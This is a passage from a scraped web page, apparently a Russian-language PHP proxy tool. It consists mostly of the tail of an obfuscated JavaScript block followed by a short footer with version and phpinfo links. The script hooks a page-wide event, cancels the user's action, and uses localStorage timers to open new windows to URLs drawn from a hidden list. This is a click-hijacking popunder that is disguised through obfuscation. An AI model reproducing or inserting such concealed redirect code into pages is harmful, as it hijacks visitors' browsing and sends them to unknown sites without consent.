_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
| ver. 1.4 |
Github
|
.
| PHP 8.2.28 | Генерация страницы: 0.02 |
proxy
|
phpinfo
|
Настройка